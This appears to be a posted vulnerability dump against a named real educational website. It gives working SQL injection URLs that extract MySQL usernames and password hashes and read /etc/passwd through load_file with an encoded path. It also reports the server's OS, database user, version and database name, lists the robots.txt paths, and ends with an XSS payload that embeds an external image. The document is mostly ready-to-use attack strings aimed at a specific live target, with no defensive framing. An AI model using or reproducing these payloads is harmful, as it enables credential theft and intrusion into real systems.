http://www.diffusion.ens.fr/index.php?res=themes&idtheme=30+and+1=0+union+sele ct+1,2,3,concat(user,char(58),password),5,6+from+m ysql.user--

OS - Debian GNU/Linux

user() : root@localhost

version() : 4.0.24_Debian-10sarge1-log

database() : ens_data


robots.txt:

User-agent: *
Disallow: /chbpascal/
Disallow: /college/video_college
Disallow: /college/photos
Disallow: /college/vignettes
Disallow: /college/en/video_college
Disallow: /college/en/photos
Disallow: /college/en/vignettes
Disallow: /en/audio
Disallow: /en/bonus
Disallow: /en/photos
Disallow: /en/video
Disallow: /en/video_stream
Disallow: /en/vignettes
Disallow: /pear
Disallow: /photos
Disallow: /administration
Disallow: /vignettes
Disallow: /college2
Disallow: /video
Disallow: /audio
Disallow: /video_stream
Disallow: /bonus

/etc/passwd

http://www.diffusion.ens.fr/index.php?res=themes&idtheme=30+and+1=0+union+sele ct+1,2,3,load_file(CHAR(47,101,116,99,47,112,97,11 5,115,119,100)),5,6+from+mysql.user--



+XSS

http://www.diffusion.ens.fr/index.php?res=themes&idtheme=30+and+1=0+union+sele ct+1,2,3,<img src=http://img525.imageshack.us/img525/7127/matrixic9.jpg></img>,5,6--